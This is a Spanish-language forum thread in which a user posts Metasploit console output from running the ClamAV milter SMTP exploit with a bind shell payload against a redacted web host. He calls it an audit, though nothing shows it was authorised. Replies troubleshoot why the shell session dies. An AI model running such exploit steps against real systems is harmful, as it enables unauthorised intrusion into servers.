comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[SOLUCIONADO] MSF Sesion abierta, pero da error.

  • 11 Respuestas
  • 4188 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado krraskl13

  • *
  • Underc0der
  • Mensajes: 32
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« en: Febrero 15, 2014, 06:00:31 pm »
He estado haciendo una auditoria a una web y viendo los puertos abiertos localice que tenia el puerto 25 (SMTP), busque un exploit para intentar explotarlo en msf:

msf > search smtp

Matching Modules
================

   Name                                                    Disclosure Date          Rank       Description
   ----                                                    ---------------          ----       -----------
   auxiliary/client/smtp/emailer                                                    normal     Generic Emailer (SMTP)
   auxiliary/dos/smtp/sendmail_prescan                     2003-09-17 00:00:00 UTC  normal     Sendmail SMTP Address prescan <= 8.12.8 Memory Corruption
   auxiliary/dos/windows/smtp/ms06_019_exchange            2004-11-12 00:00:00 UTC  normal     MS06-019 Exchange MODPROP Heap Overflow
   auxiliary/fuzzers/smtp/smtp_fuzzer                                               normal     SMTP Simple Fuzzer
   auxiliary/scanner/smtp/smtp_enum                                                 normal     SMTP User Enumeration Utility
   auxiliary/scanner/smtp/smtp_version                                              normal     SMTP Banner Grabber
   auxiliary/server/capture/smtp                                                    normal     Authentication Capture: SMTP
   auxiliary/vsploit/pii/email_pii                                                  normal     VSploit Email PII
   exploit/unix/smtp/clamav_milter_blackhole               2007-08-24 00:00:00 UTC  excellent  ClamAV Milter Blackhole-Mode Remote Code Execution
   exploit/unix/smtp/exim4_string_format                   2010-12-07 00:00:00 UTC  excellent  Exim4 <= 4.69 string_format Function Heap Buffer Overflow
   exploit/unix/webapp/squirrelmail_pgp_plugin             2007-07-09 00:00:00 UTC  manual     SquirrelMail PGP Plugin command execution (SMTP)
   exploit/windows/browser/communicrypt_mail_activex       2010-05-19 00:00:00 UTC  great      CommuniCrypt Mail 1.16 SMTP ActiveX Stack Buffer Overflow
   exploit/windows/browser/oracle_dc_submittoexpress       2009-08-28 00:00:00 UTC  normal     Oracle Document Capture 10g ActiveX Control Buffer Overflow
   exploit/windows/email/ms07_017_ani_loadimage_chunksize  2007-03-28 00:00:00 UTC  great      Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (SMTP)
   exploit/windows/http/mdaemon_worldclient_form2raw       2003-12-29 00:00:00 UTC  great      MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Buffer Overflow
   exploit/windows/smtp/mailcarrier_smtp_ehlo              2004-10-26 00:00:00 UTC  good       TABS MailCarrier v2.51 SMTP EHLO Overflow
   exploit/windows/smtp/mercury_cram_md5                   2007-08-18 00:00:00 UTC  great      Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow
   exploit/windows/smtp/ms03_046_exchange2000_xexch50      2003-10-15 00:00:00 UTC  good       MS03-046 Exchange 2000 XEXCH50 Heap Overflow
   exploit/windows/smtp/njstar_smtp_bof                    2011-10-31 00:00:00 UTC  normal     NJStar Communicator 3.00 MiniSMTP Buffer Overflow
   exploit/windows/smtp/wmailserver                        2005-07-11 00:00:00 UTC  average    SoftiaCom WMailserver 1.0 Buffer Overflow
   exploit/windows/smtp/ypops_overflow1                    2004-09-27 00:00:00 UTC  average    YPOPS 0.6 Buffer Overflow
   exploit/windows/ssl/ms04_011_pct                        2004-04-13 00:00:00 UTC  average    Microsoft Private Communications Transport Overflow
   post/windows/gather/credentials/outlook                                          normal     Windows Gather Microsoft Outlook Saved Password Extraction

Finalmente use un exploit que utiliza una vulnerabilidad de ClamAV Milter Blackhole-Mode Remote Code Execution.

msf > use exploit/unix/smtp/clamav_milter_blackhole
msf  exploit(clamav_milter_blackhole) > show options

Module options (exploit/unix/smtp/clamav_milter_blackhole):

   Name      Current Setting    Required  Description
   ----      ---------------    --------  -----------
   MAILFROM  zombie@brains.net  yes       FROM address of the e-mail
   MAILTO    nobody@localhost   yes       TO address of the e-mail
   RHOST                        yes       The target address
   RPORT     25                 yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(clamav_milter_blackhole) > set RHOST x.x.x.x
RHOST => x.x.x.x

msf  exploit(clamav_milter_blackhole) > show payloads

Compatible Payloads
===================

   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   cmd/unix/bind_perl                                   normal  Unix Command Shell, Bind TCP (via Perl)
   cmd/unix/bind_perl_ipv6                              normal  Unix Command Shell, Bind TCP (via perl) IPv6
   cmd/unix/bind_ruby                                   normal  Unix Command Shell, Bind TCP (via Ruby)
   cmd/unix/bind_ruby_ipv6                              normal  Unix Command Shell, Bind TCP (via Ruby) IPv6
   cmd/unix/generic                                     normal  Unix Command, Generic Command Execution
   cmd/unix/reverse                                     normal  Unix Command Shell, Double reverse TCP (telnet)
   cmd/unix/reverse_perl                                normal  Unix Command Shell, Reverse TCP (via Perl)
   cmd/unix/reverse_perl_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via perl)
   cmd/unix/reverse_ruby                                normal  Unix Command Shell, Reverse TCP (via Ruby)
   cmd/unix/reverse_ruby_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via Ruby)
   cmd/unix/reverse_ssl_double_telnet                   normal  Unix Command Shell, Double reverse TCP SSL (telnet)

msf  exploit(clamav_milter_blackhole) > set payload cmd/unix/bind_ruby
payload => cmd/unix/bind_ruby
msf  exploit(clamav_milter_blackhole) > show options

Module options (exploit/unix/smtp/clamav_milter_blackhole):

   Name      Current Setting    Required  Description
   ----      ---------------    --------  -----------
   MAILFROM  zombie@brains.net  yes       FROM address of the e-mail
   MAILTO    nobody@localhost   yes       TO address of the e-mail
   RHOST     x.x.x.x          yes       The target address
   RPORT     25                 yes       The target port


Payload options (cmd/unix/bind_ruby):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  x.x.x.x           no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(clamav_milter_blackhole) > exploit

  • Started bind handler
  • Command shell session 1 opened (192.168.229.130:59441 -> x.x.x.x:4444) at 2014-02-15 14:44:08 -0500



daemon
[Aqui sale una codificacion extraña]

  • x.x.x.x - Command shell session 1 closed.  Reason: Died from Errno::ECONNRESET


Creo que lo configuro todo bien pero me sigue dando este error.. He probado con diferentes payloads y con todo sucede lo mismo.
¿Alguien puede ayudarme?
« Última modificación: Agosto 18, 2014, 08:07:02 pm por Expermicid »

Desconectado Cl0udswX

  • *
  • Underc0der
  • Mensajes: 868
  • Actividad:
    0%
  • Reputación 4
  • La fisica es el sistema operativo del universo.
    • Ver Perfil
    • cl0udswz - Sequre
  • Skype: cl0udzwx
  • Twitter: @cl0udswzsequre
« Respuesta #1 en: Febrero 15, 2014, 08:49:34 pm »
Buenas hermano.

Cuando vas a usar un exploit debes tener suficiente informacion del mismo, muchas veces no basta con hacer un "show options" para ver las variables a configurar, este en particular:

 
Citar
exploit/unix/smtp/clamav_milter_blackhole

Explota una vulnerabilidad en la Suite antivirus ClamAV en sus versiones anteriores a v0.92.2, es algo relacionado con el filtro de correo.No puedes explotar lo que no existe, en la parte de recopilar de información buscamos servicios vulnerables para explotar.

Saludos por allá hermano.
El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.


Desconectado krraskl13

  • *
  • Underc0der
  • Mensajes: 32
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #2 en: Febrero 16, 2014, 12:08:43 am »
Hola hermano, en primer lugar gracias por contestar.
Tienes razón, deberia haberme asegurado de que el servidor usa ClamAv. Pero no he encotrado informacion al respecto en google. Y una pregunta, ¿si abre sesión es porque es vulnerable?
O puede abrir sesión sin usar ClamAv, nose si me entiendes. Yo pensaba que como abre una sesión en msf era vulnerable, usaba ClamAv y que lo que fallaba era el payload que utilizaba. Por eso daba este error, Reason: Died from Errno::ECONNRESET.

Un Saludo.  ;D

Desconectado .:UND3R:.

  • *
  • Underc0der
  • Mensajes: 226
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Marzo 02, 2014, 05:18:12 am »
Leyendo sobre el error que te arroja es un error con respecto a los socket y ocurre cuando se se cierra la conexión sin leer los datos que han sido enviados. Es extraño ya que si fuese así no podrías haber recibido la sesion, haz intentado con otros payload?, por qué ruby?, saludos.

Desconectado Snifer

  • *
  • Underc0der
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • Snifer@L4b's
    • Ver Perfil
    • Snifer@L4bs
  • Twitter: sniferl4bs
« Respuesta #4 en: Marzo 03, 2014, 10:15:18 am »
Porque Ruby? jajja lo dices enserio???

Revisa Metasploit en que anda hecho ;)

Regards,
Snifer
You are not allowed to view links. Register or Login


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Desconectado .:UND3R:.

  • *
  • Underc0der
  • Mensajes: 226
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #5 en: Marzo 03, 2014, 02:22:34 pm »
Lo tengo más que claro al momento de crear mis propios exploits para luego exportarlos a la estructura (esqueleto) de exploits de metasploit  ;)
No se pierde nada probando con otros payload o no?, por algo mi respuesta.

Desconectado krraskl13

  • *
  • Underc0der
  • Mensajes: 32
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #6 en: Marzo 04, 2014, 05:34:52 pm »
Si he probado con los demas payloads y me sigue dando el mismo error.

Desconectado .:UND3R:.

  • *
  • Underc0der
  • Mensajes: 226
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #7 en: Marzo 05, 2014, 08:58:13 am »
Yo creo que el servicio que estás atacando no es vulnerable a tal ataque, te recomiendo que pruebes con otro servicio. cito del código del exploit:

Citar
# We *can* execute arbitrary code directly from 'sploit', however the
        # SMTP RFC rejects all payloads with the exception of generic CMD
        # payloads due to the IO redirects. I discovered that the 'From:'
        # header is written to this temporary file prior to the vulnerable
        # call, so we call the file itself and payload.encoded is executed.

No conozco mucho esta falla pero al parecer no es vulnerable en este caso, además creo que los parámetros a introducir deben ser reales, saludos y suerte.

Desconectado Snifer

  • *
  • Underc0der
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • Snifer@L4b's
    • Ver Perfil
    • Snifer@L4bs
  • Twitter: sniferl4bs
« Respuesta #8 en: Marzo 05, 2014, 10:12:00 am »
You are not allowed to view links. Register or Login
Lo tengo más que claro al momento de crear mis propios exploits para luego exportarlos a la estructura (esqueleto) de exploits de metasploit  ;)
No se pierde nada probando con otros payload o no?, por algo mi respuesta.

Ahhh ahh si nos vamos por ese camino, toda la razón al ver el post da la impresión que el usuario no tiene conocimientos para poder armar o crear uno propio, ademas viendo a mas detalle no existe clamAV por ello no rulara :P.

Regards,
Snifer
You are not allowed to view links. Register or Login


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Desconectado Cl0udswX

  • *
  • Underc0der
  • Mensajes: 868
  • Actividad:
    0%
  • Reputación 4
  • La fisica es el sistema operativo del universo.
    • Ver Perfil
    • cl0udswz - Sequre
  • Skype: cl0udzwx
  • Twitter: @cl0udswzsequre
« Respuesta #9 en: Marzo 10, 2014, 02:57:29 pm »
Buenas.

Citar
ademas viendo a mas detalle no existe clamAV por ello no rulara

Eso fue lo que le explique mas arriba, mas sin embargo lo que me tiene intrigado es:

Porque consigue abrir una sesion vulnerando un servicio que no existe?   ???

Saludos.
El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.


Desconectado Snifer

  • *
  • Underc0der
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • Snifer@L4b's
    • Ver Perfil
    • Snifer@L4bs
  • Twitter: sniferl4bs
« Respuesta #10 en: Marzo 10, 2014, 04:34:23 pm »
No llega a abrir el hilo como tal de la session o al menos no logro verlo.

Regards,
Snifer
You are not allowed to view links. Register or Login


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Desconectado Cl0udswX

  • *
  • Underc0der
  • Mensajes: 868
  • Actividad:
    0%
  • Reputación 4
  • La fisica es el sistema operativo del universo.
    • Ver Perfil
    • cl0udswz - Sequre
  • Skype: cl0udzwx
  • Twitter: @cl0udswzsequre
« Respuesta #11 en: Marzo 10, 2014, 07:21:21 pm »
Citar
No llega a abrir el hilo como tal de la session o al menos no logro verlo.

Citar
msf  exploit(clamav_milter_blackhole) > exploit

Started bind handler
Command shell session 1 opened (192.168.229.130:59441 -> x.x.x.x:4444) at 2014-02-15 14:44:08 -0500

luego entonces..

Citar
Command shell session 1 closed.  Reason: Died from Errno::ECONNRESET
El talento se parece al tirador que da en un blanco que los demás no pueden alcanzar; el genio se parece al tirador que da en un blanco que los demás no pueden ver.


 

¿Te gustó el post? COMPARTILO!



[SOLUCIONADO] ¿Kali Linux o Kali Linux Ligth ?

Iniciado por worq

Respuestas: 2
Vistas: 5325
Último mensaje Noviembre 21, 2017, 12:28:54 pm
por Codig0Bit
[SOLUCIONADO] Multiuploader de imagenes con mysql, hosting de imagenes con mysql

Iniciado por graphixx

Respuestas: 4
Vistas: 2021
Último mensaje Marzo 26, 2013, 05:42:58 pm
por Xt3mP
[SOLUCIONADO] ¿Como publicar un software como software libre?

Iniciado por FuriosoJack

Respuestas: 2
Vistas: 1458
Último mensaje Mayo 23, 2017, 07:24:22 am
por HATI
[SOLUCIONADO] Linux Mint, errores, errores y mas errores...

Iniciado por n1sendev

Respuestas: 12
Vistas: 2484
Último mensaje Noviembre 22, 2017, 06:50:55 am
por RuidosoBSD
[SOLUCIONADO] Ayuda urgente con Virus "Virus.Win32Sality"

Iniciado por Napsters

Respuestas: 6
Vistas: 3264
Último mensaje Junio 11, 2012, 03:38:18 am
por Satyricon